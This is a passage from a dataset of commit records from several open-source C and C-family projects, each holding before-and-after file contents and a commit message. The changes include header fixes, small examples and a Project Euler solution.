%S\/Inputs \\\n\/\/ RUN:     %s -emit-llvm -debugger-tuning=lldb -o - | FileCheck %s\n\/\/\n\/\/ RUN: %clang_cc1 -fmodules -fmodule-format=obj -debug-info-kind=limited -dwarf-ext-refs \\\n\/\/ RUN:     -fimplicit-module-maps -x c -fmodules-cache-path=%t -I %S\/Inputs \\\n\/\/ RUN:     -fmodules-local-submodule-visibility \\\n\/\/ RUN:     %s -emit-llvm -debugger-tuning=lldb -o - | FileCheck %s\n#include \"DebugSubmoduleA.h\"\n#include \"DebugSubmoduleB.h\"\n\n\/\/ CHECK: !DICompileUnit\n\/\/ CHECK-NOT: !DICompileUnit\n\/\/ CHECK: !DIModule(scope: ![[PARENT:.*]], name: \"DebugSubmoduleA\"\n\/\/ CHECK: [[PARENT]] = !DIModule(scope: null, name: \"DebugSubmodules\"\n\/\/ CHECK: !DIModule(scope: ![[PARENT]], name: \"DebugSubmoduleB\"\n\/\/ CHECK: !DICompileUnit({{.*}}splitDebugFilename: {{.*}}DebugSubmodules\n\/\/ CHECK-SAME:                 dwoId:\n\/\/ CHECK-NOT: !DICompileUnit\n","subject":"Add a test that local submodule visibility has no effect on debug info","message":"Add a test that local submodule visibility has no effect on debug info\n\nrdar:\/\/problem\/27876262\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@302809 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"1abf575c1cf36df59d0673c0e5d8b326f4526a8b","old_file":"example\/ex-array04.c","new_file":"example\/ex-array04.c","old_contents":"#include <gmp.h>\n\n#include \"m-array.h\"\n#include \"m-algo.h\"\n\nARRAY_DEF(mpz, mpz_t, M_CLASSIC_OPLIST(mpz))\nALGO_DEF(array_mpz, ARRAY_OPLIST(mpz, M_CLASSIC_OPLIST(mpz)))\n\nstatic inline void my_mpz_inc(mpz_t d, const mpz_t a){\n  mpz_add(d, d, a);\n}\nstatic inline void my_mpz_sqr(mpz_t d, const mpz_t a){\n  mpz_mul(d, a, a);\n}\n\nint main(void)\n{\n  mpz_t z;\n  mpz_init_set_ui(z, 1);\n  array_mpz_t a;\n  array_mpz_init(a);\n  array_mpz_push_back(a, z);\n  for(size_t i = 2 ; i < 1000; i++) {\n    mpz_mul_ui(z, z, i);\n    array_mpz_push_back(a, z);    \n  }\n  \/* z = sum (a[i]^2) *\/\n  array_mpz_map_reduce (&z, a, my_mpz_inc, my_mpz_sqr);\n  gmp_printf (\"Z=%Zd\\n\", z);\n  array_mpz_clear(a);\n  mpz_clear(z);\n}\n","new_contents":"#include <gmp.h>\n\n#include \"m-array.h\"\n#include \"m-algo.h\"\n\nARRAY_DEF(mpz, mpz_t, M_CLASSIC_OPLIST(mpz))\nALGO_DEF(array_mpz, ARRAY_OPLIST(mpz, M_CLASSIC_OPLIST(mpz)))\n\nstatic inline void my_mpz_inc(mpz_t *d, const mpz_t a){\n  mpz_add(*d, *d, a);\n}\nstatic inline void my_mpz_sqr(mpz_t *d, const mpz_t a){\n  mpz_mul(*d, a, a);\n}\n\nint main(void)\n{\n  mpz_t z;\n  mpz_init_set_ui(z, 1);\n  array_mpz_t a;\n  array_mpz_init(a);\n  array_mpz_push_back(a, z);\n  for(size_t i = 2 ; i < 1000; i++) {\n    mpz_mul_ui(z, z, i);\n    array_mpz_push_back(a, z);    \n  }\n  \/* z = sum (a[i]^2) *\/\n  array_mpz_map_reduce (&z, a, my_mpz_inc, my_mpz_sqr);\n  gmp_printf (\"Z=%Zd\\n\", z);\n  array_mpz_clear(a);\n  mpz_clear(z);\n}\n","subject":"Update example with new constraints on map\/reduce prototype.","message":"Update example with new constraints on map\/reduce prototype.\n","lang":"C","license":"bsd-2-clause","repos":"P-p-H-d\/mlib,P-p-H-d\/mlib"}
{"commit":"c57119c6a4ae1a666a1bc7261dd9afeee1224d02","old_file":"util.h","new_file":"util.h","old_contents":"#ifndef util_h\n#define util_h\n\n#define min(a,b) ((a)<(b)?(a):(b))\n\nint warn(const char *s);\n\nvoid v();\n\n#endif \/*util_h*\/\n","new_contents":"#ifndef util_h\n#define util_h\n\n#define min(a,b) ((a)<(b)?(a):(b))\n\nint warn(const char *s);\n\nvoid v();\n\n#ifdef DEBUG\n#define dprintf(fmt, args...) fprintf(stderr, fmt, ##args)\n#else\n#define dprintf(fmt, ...) (0)\n#endif\n\n#endif \/*util_h*\/\n","subject":"Add a debugging print macro.","message":"Add a debugging print macro.\n","lang":"C","license":"mit","repos":"amyvmiwei\/beanstalkd,PhillipMwaniki\/beanstalkd,yetone\/beanstalkd,diditaxi\/beanstalkd,tdg5\/beanstalkd,bmhatfield\/beanstalkd,naderman\/beanstalkd,LomoX-Offical\/beanstalkd-win,amyvmiwei\/beanstalkd,CompendiumSoftware\/beanstalkd,naderman\/beanstalkd,pinguo-xudianyang\/beanstalkd,JensRantil\/beanstalkd,PhillipMwaniki\/beanstalkd,aidaima\/beanstalkd,kr\/beanstalkd,cgvarela\/beanstalkd,wyzssw\/beanstalkd,mobliyishengyuan\/beanstalkd,handautsav\/beanstalkd,potatosalad\/beanstalkd,naderman\/beanstalkd,yetone\/beanstalkd,pinguo-xudianyang\/beanstalkd,Qihoo360\/beanstalkd-win,mickeyouyou\/beanstalkd,diditaxi\/beanstalkd,cgvarela\/beanstalkd,wyzssw\/beanstalkd,handautsav\/beanstalkd,ifduyue\/beanstalkd,justintung\/beanstalkd,kr\/beanstalkd,orangeholic\/beanstalkd,r3jack\/beanstalkd,lzpfmh\/beanstalkd,aidaima\/beanstalkd,davies\/beanstalkd,Qihoo360\/beanstalkd-win,LomoX-Offical\/beanstalkd-win,justintung\/beanstalkd,wfxiang08\/beanstalkd,mobliyishengyuan\/beanstalkd,bmhatfield\/beanstalkd,qbdsoft\/beanstalkd,wfxiang08\/beanstalkd,ifduyue\/beanstalkd,orangeholic\/beanstalkd,potatosalad\/beanstalkd,qbdsoft\/beanstalkd,tdg5\/beanstalkd,r3jack\/beanstalkd,JensRantil\/beanstalkd,lzpfmh\/beanstalkd,mickeyouyou\/beanstalkd,CompendiumSoftware\/beanstalkd,davies\/beanstalkd"}
{"commit":"9088e400d3196d691980e36b908548cefcbcd3e0","old_file":"include\/prd-fw-msg.h","new_file":"include\/prd-fw-msg.h","old_contents":"\/* Copyright 2017 IBM Corp.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n * implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\n#ifndef __PRD_FW_MSG_H\n#define __PRD_FW_MSG_H\n\n#include <types.h>\n\n\/* Messaging structure for the opaque channel between OPAL and HBRT. This\n * format is used for the firmware_request and firmware_notify interfaces\n *\/\nenum {\n\tPRD_FW_MSG_TYPE_REQ_NOP = 0,\n\tPRD_FW_MSG_TYPE_RESP_NOP = 1,\n};\n\nstruct prd_fw_msg {\n\t__be64\t\ttype;\n};\n\n#define PRD_FW_MSG_BASE_SIZE\tsizeof(__be64)\n\n#endif \/* __PRD_FW_MSG_H *\/\n","new_contents":"\/* Copyright 2017 IBM Corp.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n * implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\n#ifndef __PRD_FW_MSG_H\n#define __PRD_FW_MSG_H\n\n#include <types.h>\n\n\/* Messaging structure for the opaque channel between OPAL and HBRT. This\n * format is used for the firmware_request and firmware_notify interfaces\n *\/\nenum {\n\tPRD_FW_MSG_TYPE_REQ_NOP = 0,\n\tPRD_FW_MSG_TYPE_RESP_NOP = 1,\n\tPRD_FW_MSG_TYPE_RESP_GENERIC = 2,\n\tPRD_FW_MSG_TYPE_REQ_HCODE_UPDATE = 3,\n\tPRD_FW_MSG_TYPE_HBRT_FSP = 4,\n\tPRD_FW_MSG_TYPE_ERROR_LOG = 5,\n\tPRD_FW_MSG_TYPE_FSP_HBRT = 6,\n};\n\nstruct prd_fw_msg {\n\t__be64\t\ttype;\n\tunion {\n\t\tstruct {\n\t\t\t__be64\tstatus;\n\t\t} generic_resp;\n\t};\n};\n\n#define PRD_FW_MSG_BASE_SIZE\tsizeof(__be64)\n\n#endif \/* __PRD_FW_MSG_H *\/\n","subject":"Add generic response structure inside prd_fw_msg","message":"prd: Add generic response structure inside prd_fw_msg\n\nThis patch adds generic response structure. Also sync prd_fw_msg type\nmacros with hostboot.\n\nNext patch makes use of this structure\/macro.\n\nCC: Jeremy Kerr <68a658b44bbaefab3ef5cd231967195fc0ff9d69@ozlabs.org>\nSigned-off-by: Vasant Hegde <a6d753843573f7bfed5075c1e875b0be8007a0ab@linux.vnet.ibm.com>\nSigned-off-by: Stewart Smith <ec31ab75ddf977353c8f660f92ea8b23f64aef25@linux.vnet.ibm.com>\n","lang":"C","license":"apache-2.0","repos":"open-power\/skiboot,open-power\/skiboot,shenki\/skiboot,shenki\/skiboot,shenki\/skiboot,shenki\/skiboot,qemu\/skiboot,shenki\/skiboot,stewart-ibm\/skiboot,qemu\/skiboot,qemu\/skiboot,legoater\/skiboot,legoater\/skiboot,open-power\/skiboot,open-power\/skiboot,open-power\/skiboot,qemu\/skiboot,qemu\/skiboot,stewart-ibm\/skiboot,legoater\/skiboot,legoater\/skiboot,legoater\/skiboot,stewart-ibm\/skiboot"}
{"commit":"4b9d0d59b5436e3fc6ffe3452147e226277a3edf","old_file":"program\/system\/mission.c","new_file":"program\/system\/mission.c","old_contents":"#include \"QuadCopterConfig.h\"\n#include \"mavlink.h\"\n\n#define MAV_MAX_LEN 263\n\nstruct waypoint_t mission_wp_list = {0};\nint waypoint_cnt = 0;\nint cur_waypoint = 0;\n\nmavlink_message_t msg;\nuint8_t buf[MAV_MAX_LEN];\n\nvoid mission_read_waypoint_list()\n{\n}\n\nvoid mission_write_waypoint_list()\n{\n}\n\nvoid mission_clear_waypoint()\n{\n\tmavlink_msg_mission_ack_pack(1, 200, &msg, 255, 0, 0);\n\tsend_package(buf, &msg);\n}\n\nvoid mission_set_new_current_waypoint()\n{\n}\n","new_contents":"#include \"QuadCopterConfig.h\"\n#include \"mavlink.h\"\n\n#define MAV_MAX_LEN 263\n\nstruct waypoint_t mission_wp_list = {0};\nint waypoint_cnt = 0;\nint cur_waypoint = 0;\n\nmavlink_message_t msg;\nuint8_t buf[MAV_MAX_LEN];\n\nvoid push_waypoint_node(struct waypoint_t *waypoint)\n{\n}\n\nvoid free_waypoint_list(struct waypoint_t *waypoint)\n{\n}\n\nvoid mission_read_waypoint_list()\n{\n}\n\nvoid mission_write_waypoint_list()\n{\n}\n\nvoid mission_clear_waypoint()\n{\n\tmavlink_msg_mission_ack_pack(1, 200, &msg, 255, 0, 0);\n\tsend_package(buf, &msg);\n}\n\nvoid mission_set_new_current_waypoint()\n{\n}\n","subject":"Create the waypoint structure operating function prototype","message":"Create the waypoint structure operating function prototype\n","lang":"C","license":"mit","repos":"ming6842\/firmware,ming6842\/firmware-new,ming6842\/firmware-new,UrsusPilot\/firmware,ming6842\/firmware-new,UrsusPilot\/firmware,fboris\/firmware,fboris\/firmware,UrsusPilot\/firmware,ming6842\/firmware,ming6842\/firmware,fboris\/firmware"}
{"commit":"3cbe36b63ebb3f5e782aac56c95e15018abf6cda","old_file":"scripts\/freetype\/slimftoptions.h","new_file":"scripts\/freetype\/slimftoptions.h","old_contents":"\/* custom ftoption.h which selects the minimum features needed by mupdf *\/\n\n#include <freetype\/config\/ftoption.h>\n\n#undef FT_CONFIG_OPTION_USE_LZW\n#undef FT_CONFIG_OPTION_USE_ZLIB\n#undef FT_CONFIG_OPTION_USE_BZIP2\n#undef FT_CONFIG_OPTION_USE_PNG\n#undef FT_CONFIG_OPTION_USE_HARFBUZZ\n#undef FT_CONFIG_OPTION_MAC_FONTS\n#undef FT_CONFIG_OPTION_INCREMENTAL\n\n#undef TT_CONFIG_OPTION_EMBEDDED_BITMAPS\n#undef TT_CONFIG_OPTION_SFNT_NAMES\n#undef TT_CONFIG_OPTION_GX_VAR_SUPPORT\n#undef TT_CONFIG_OPTION_BDF\n\n#undef T1_CONFIG_OPTION_NO_AFM\n#undef T1_CONFIG_OPTION_NO_MM_SUPPORT\n\n#undef CFF_CONFIG_OPTION_OLD_ENGINE\n","new_contents":"\/* custom ftoption.h which selects the minimum features needed by mupdf *\/\n\n#include <freetype\/config\/ftoption.h>\n\n#undef FT_CONFIG_OPTION_USE_LZW\n#undef FT_CONFIG_OPTION_USE_ZLIB\n#undef FT_CONFIG_OPTION_USE_BZIP2\n#undef FT_CONFIG_OPTION_USE_PNG\n#undef FT_CONFIG_OPTION_USE_HARFBUZZ\n#undef FT_CONFIG_OPTION_MAC_FONTS\n#undef FT_CONFIG_OPTION_INCREMENTAL\n#define FT_CONFIG_OPTION_DISABLE_STREAM_SUPPORT\n\n#undef TT_CONFIG_OPTION_EMBEDDED_BITMAPS\n#undef TT_CONFIG_OPTION_SFNT_NAMES\n#undef TT_CONFIG_OPTION_GX_VAR_SUPPORT\n#undef TT_CONFIG_OPTION_BDF\n\n#undef T1_CONFIG_OPTION_NO_AFM\n#undef T1_CONFIG_OPTION_NO_MM_SUPPORT\n\n#undef CFF_CONFIG_OPTION_OLD_ENGINE\n","subject":"Disable freetype stream support, avoiding FILE interface.","message":"Disable freetype stream support, avoiding FILE interface.\n","lang":"C","license":"agpl-3.0","repos":"ArtifexSoftware\/mupdf,ccxvii\/mupdf,TamirEvan\/mupdf,ccxvii\/mupdf,sebras\/mupdf,TamirEvan\/mupdf,fluks\/mupdf-x11-bookmarks,fluks\/mupdf-x11-bookmarks,fluks\/mupdf-x11-bookmarks,ArtifexSoftware\/mupdf,TamirEvan\/mupdf,poor-grad-student\/mupdf,poor-grad-student\/mupdf,fluks\/mupdf-x11-bookmarks,fluks\/mupdf-x11-bookmarks,fluks\/mupdf-x11-bookmarks,ccxvii\/mupdf,TamirEvan\/mupdf,muennich\/mupdf,TamirEvan\/mupdf,poor-grad-student\/mupdf,ArtifexSoftware\/mupdf,sebras\/mupdf,ccxvii\/mupdf,muennich\/mupdf,ccxvii\/mupdf,muennich\/mupdf,TamirEvan\/mupdf,ArtifexSoftware\/mupdf,sebras\/mupdf,muennich\/mupdf,poor-grad-student\/mupdf,muennich\/mupdf,ArtifexSoftware\/mupdf,muennich\/mupdf,fluks\/mupdf-x11-bookmarks,ArtifexSoftware\/mupdf,sebras\/mupdf,muennich\/mupdf,ArtifexSoftware\/mupdf,TamirEvan\/mupdf,poor-grad-student\/mupdf,poor-grad-student\/mupdf,ArtifexSoftware\/mupdf,ccxvii\/mupdf,sebras\/mupdf,sebras\/mupdf,TamirEvan\/mupdf"}
{"commit":"afe9df97488c789740212a40fdca119e4845308c","old_file":"src\/condor_includes\/condor_fix_unistd.h","new_file":"src\/condor_includes\/condor_fix_unistd.h","old_contents":"#ifndef FIX_UNISTD_H\n#define FIX_UNISTD_H\n\n#include <unistd.h>\n\n\n\/*\n  For some reason the g++ include files on Ultrix 4.3 fail to provide\n  these prototypes, even though the Ultrix 4.2 versions did...\n  Once again, OSF1 also chokes, unless _AES_SOURCE(?) is defined JCP\n*\/\n#if defined(ULTRIX43) || defined(SUNOS41) || defined(OSF1)\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n#if defined(SUNOS41) || defined(ULTRIX43)\n\ttypedef unsigned long ssize_t;\n#endif\n\n#if defined(__STDC__) || defined(__cplusplus)\n\tint symlink( const char *, const char * );\n\tvoid *sbrk( ssize_t );\n\tint gethostname( char *, int );\n#else\n\tint symlink();\n\tchar *sbrk();\n\tint gethostname();\n#endif\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\t\/* ULTRIX43 *\/\n\n#endif\n","new_contents":"#ifndef FIX_UNISTD_H\n#define FIX_UNISTD_H\n\n\n#if defined(SUNOS41)\n#\tdefine read _hide_read\n#\tdefine write _hide_write\n#endif\n\n#include <unistd.h>\n\n#if defined(SUNOS41)\n#\tundef read\n#\tundef write\n#endif\n\n\n\/*\n  For some reason the g++ include files on Ultrix 4.3 fail to provide\n  these prototypes, even though the Ultrix 4.2 versions did...\n  Once again, OSF1 also chokes, unless _AES_SOURCE(?) is defined JCP\n*\/\n#if defined(ULTRIX43) || defined(SUNOS41) || defined(OSF1)\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n#if defined(SUNOS41) || defined(ULTRIX43)\n\ttypedef unsigned long ssize_t;\n#endif\n\n#if defined(__STDC__) || defined(__cplusplus)\n\tint symlink( const char *, const char * );\n\tvoid *sbrk( ssize_t );\n\tint gethostname( char *, int );\n#\tif defined(SUNOS41)\n\t\tssize_t read( int, void *, size_t );\n\t\tssize_t write( int, const void *, size_t );\n#\tendif\n#else\n\tint symlink();\n\tchar *sbrk();\n\tint gethostname();\n#endif\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\t\/* ULTRIX43 *\/\n\n#endif\n","subject":"Fix up prototypes for read() and write() on Suns.","message":"Fix up prototypes for read() and write() on Suns.\n","lang":"C","license":"apache-2.0","repos":"djw8605\/condor,clalancette\/condor-dcloud,zhangzhehust\/htcondor,djw8605\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,djw8605\/condor,mambelli\/osg-bosco-marco,djw8605\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,djw8605\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,djw8605\/condor,djw8605\/condor,djw8605\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,djw8605\/condor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,neurodebian\/htcondor,djw8605\/condor,neurodebian\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,htcondor\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,djw8605\/htcondor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,neurodebian\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,clalancette\/condor-dcloud,clalancette\/condor-dcloud,djw8605\/condor,mambelli\/osg-bosco-marco,htcondor\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting"}
{"commit":"4161a3f63956e7a80939e3ab957abf83a8c5c6c4","old_file":"problem_2\/solution.c","new_file":"problem_2\/solution.c","old_contents":"","new_contents":"#include <stdio.h>\n\nint main(int argc, char *argv[]){\n  int s, a, b, c;\n  s = 0;\n  a = 1;\n  b = 1;\n  c = a + b;\n  while(c < 4000000L){\n    s += c;\n    a = b + c;\n    b = a + c;\n    c = a + b;\n  }\n  printf(\"%d\\n\", s);\n}\n","subject":"Add C implementation for problem 2","message":"Add C implementation for problem 2\n","lang":"C","license":"mit","repos":"mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler,mdsrosa\/project_euler"}
{"commit":"6d77e4be436f17438dc8b8d12c75b2382040f76d","old_file":"src2\/hcidumpinternal.h","new_file":"src2\/hcidumpinternal.h","old_contents":"#ifndef hcidumpinternal_H\n#define hcidumpinternal_H\n\n#include <stdbool.h>\n#include <stdint.h>\n\ntypedef struct beacon_info {\n    char uuid[20];\n    int32_t code;\n    int32_t manufacturer;\n    int32_t major;\n    int32_t minor;\n    int32_t power;\n    int32_t calibrated_power;\n    int32_t rssi;\n    int64_t time;\n} beacon_info;\n\n\/\/ The callback function invoked for each beacon event seen by hcidumpinternal\n\/\/ const char * uuid, int32_t code, int32_t manufacturer, int32_t major, int32_t minor, int32_t power, int32_t rssi, int64_t time\ntypedef bool (*beacon_event)(const beacon_info *);\n\n\/\/ The function hcidumpinternal exports\nint32_t scan_frames(int32_t dev, beacon_event callback);\n#endif\n","new_contents":"#ifndef hcidumpinternal_H\n#define hcidumpinternal_H\n\n#include <stdbool.h>\n#include <stdint.h>\n\ntypedef struct beacon_info {\n    char uuid[36];\n    int32_t code;\n    int32_t manufacturer;\n    int32_t major;\n    int32_t minor;\n    int32_t power;\n    int32_t calibrated_power;\n    int32_t rssi;\n    int64_t time;\n} beacon_info;\n\n\/\/ The callback function invoked for each beacon event seen by hcidumpinternal\n\/\/ const char * uuid, int32_t code, int32_t manufacturer, int32_t major, int32_t minor, int32_t power, int32_t rssi, int64_t time\ntypedef bool (*beacon_event)(const beacon_info *);\n\n\/\/ The function hcidumpinternal exports\nint32_t scan_frames(int32_t dev, beacon_event callback);\n#endif\n","subject":"Correct the allowed size of the uuid code","message":"Correct the allowed size of the uuid code\n","lang":"C","license":"apache-2.0","repos":"starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser"}
{"commit":"d2db26f1c08242b61709d6c297ad28e02acd7abd","old_file":"Wangscape\/noise\/module\/codecs\/CornerCombinerBaseWrapperCodec.h","new_file":"Wangscape\/noise\/module\/codecs\/CornerCombinerBaseWrapperCodec.h","old_contents":"#pragma once\n\n#include <spotify\/json.hpp>\n\n#include <noise\/noise.h>\n#include \"noise\/module\/Wrapper.h\"\n#include \"noise\/module\/CornerCombinerBase.h\"\n\nnamespace spotify\n{\nnamespace json\n{\n\ntemplate<>\nstruct default_codec_t<noise::module::Wrapper<noise::module::CornerCombinerBase>>\n{\n    using CornerCombinerBaseWrapper = noise::module::Wrapper<noise::module::CornerCombinerBase>;\n    static codec::object_t<CornerCombinerBaseWrapper> codec()\n    {\n        auto codec = codec::object<CornerCombinerBaseWrapper>();\n        codec.required(\"type\", codec::eq<std::string>(\"CornerCombinerBase\"));\n        codec.optional(\"Power\",\n                       [](CornerCombinerBase CornerCombinerBaseWrapper& mw) {return mw.module.GetPower(); },\n                       [](CornerCombinerBaseWrapper& mw, double power) {mw.module.SetPower(power); });\n        return codec;\n    }\n};\n}\n}\n","new_contents":"#pragma once\n\n#include <spotify\/json.hpp>\n\n#include <noise\/noise.h>\n#include \"noise\/module\/Wrapper.h\"\n#include \"noise\/module\/CornerCombinerBase.h\"\n\nnamespace spotify\n{\nnamespace json\n{\n\ntemplate<>\nstruct default_codec_t<noise::module::Wrapper<noise::module::CornerCombinerBase>>\n{\n    using CornerCombinerBaseWrapper = noise::module::Wrapper<noise::module::CornerCombinerBase>;\n    static codec::object_t<CornerCombinerBaseWrapper> codec()\n    {\n        auto codec = codec::object<CornerCombinerBaseWrapper>();\n        codec.required(\"type\", codec::eq<std::string>(\"CornerCombinerBase\"));\n        codec.optional(\"Power\",\n                       [](const CornerCombinerBaseWrapper& mw) {return mw.module.GetPower(); },\n                       [](CornerCombinerBaseWrapper& mw, double power) {mw.module.SetPower(power); });\n        return codec;\n    }\n};\n}\n}\n","subject":"Fix find&replace error in CornerCombinerBase codec","message":"Fix find&replace error in CornerCombinerBase codec\n","lang":"C","license":"mit","repos":"Wangscape\/Wangscape,serin-delaunay\/Wangscape,Wangscape\/Wangscape,serin-delaunay\/Wangscape,Wangscape\/Wangscape"}
{"commit":"8487e6a94258271b4036dcc62de05a2940d7d436","old_file":"snake.c","new_file":"snake.c","old_contents":"#include <stdlib.h>\n\n\/**\n * @author: Hendrik Werner\n *\/\n\n#define BOARD_HEIGHT 50\n#define BOARD_WIDTH 50\n\ntypedef struct Position {\n\tint row;\n\tint col;\n} Position;\n\ntypedef enum Cell {\n\tEMPTY\n\t,SNAKE\n\t,FOOD\n} Cell;\n\ntypedef Cell Board[BOARD_HEIGHT][BOARD_WIDTH];\n\ntypedef enum Direction {LEFT, UP, RIGHT, DOWN} Direction;\n\nint main() {\n\treturn EXIT_SUCCESS;\n}\n","new_contents":"#include <stdlib.h>\n\n\/**\n * @author: Hendrik Werner\n *\/\n\n#define BOARD_HEIGHT 50\n#define BOARD_WIDTH 50\n\ntypedef struct Position {\n\tint row;\n\tint col;\n} Position;\n\ntypedef enum Cell {\n\tEMPTY\n\t,SNAKE\n\t,FOOD\n} Cell;\n\ntypedef Cell Board[BOARD_HEIGHT][BOARD_WIDTH];\n\ntypedef enum Direction {LEFT, UP, RIGHT, DOWN} Direction;\n\n\/**\n * Represent a cell using a character.\n *\n * @return A character representing the content of the cell provided.\n *\/\nchar representCell(const Cell c) {\n\tswitch (c) {\n\t\tcase SNAKE: return 'S';\n\t\tcase FOOD: return 'F';\n\t\tdefault: return '.';\n\t}\n}\n\nint main() {\n\treturn EXIT_SUCCESS;\n}\n","subject":"Add a function to represents cells as characters.","message":"Add a function to represents cells as characters.\n","lang":"C","license":"mit","repos":"Hendrikto\/Snake"}
{"commit":"8edeac350ffa63e48ea86a1284111061fd3256a7","old_file":"MoblicoSDK\/Services\/MLCSettingsService.h","new_file":"MoblicoSDK\/Services\/MLCSettingsService.h","old_contents":"\/*\n Copyright 2012 Moblico Solutions LLC\n \n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this work except in compliance with the License.\n You may obtain a copy of the License in the LICENSE file, or at:\n \n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n \n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n *\/\n\n#import <MoblicoSDK\/MLCService.h>\n@class MLCSettings;\nNS_ASSUME_NONNULL_BEGIN\n\ntypedef void(^MLCSettingsServiceCompletionHandler)(id _Nullable MLCSettings,  NSError * _Nullable error, NSHTTPURLResponse * _Nullable response);\n\n@interface MLCSettingsService : MLCService\n\n+ (instancetype)readSettings:(MLCSettingsServiceCompletionHandler)handler;\n+ (MLCSettings *)settings;\n+ (void)overrideSettings:(NSDictionary *)settings;\n\n@end\n\n\n@interface MLCSettings : NSObject\n\n- (nullable id)objectForKey:(NSString *)key;\n- (nullable id)objectForKeyedSubscript:(NSString *)key;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/*\n Copyright 2012 Moblico Solutions LLC\n \n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this work except in compliance with the License.\n You may obtain a copy of the License in the LICENSE file, or at:\n \n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n \n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n *\/\n\n#import <MoblicoSDK\/MLCService.h>\n@class MLCSettings;\nNS_ASSUME_NONNULL_BEGIN\n\ntypedef void(^MLCSettingsServiceCompletionHandler)(id _Nullable MLCSettings,  NSError * _Nullable error, NSHTTPURLResponse * _Nullable response);\n\n@interface MLCSettingsService : MLCService\n\n+ (instancetype)readSettings:(MLCSettingsServiceCompletionHandler)handler;\n+ (MLCSettings *)settings;\n+ (void)overrideSettings:(nullable NSDictionary *)settings;\n\n@end\n\n\n@interface MLCSettings : NSObject\n\n- (nullable id)objectForKey:(NSString *)key;\n- (nullable id)objectForKeyedSubscript:(NSString *)key;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Allow overrideSettings to take a nil value.","message":"Allow overrideSettings to take a nil value.\n","lang":"C","license":"apache-2.0","repos":"Moblico\/MoblicoSDK-iOS"}
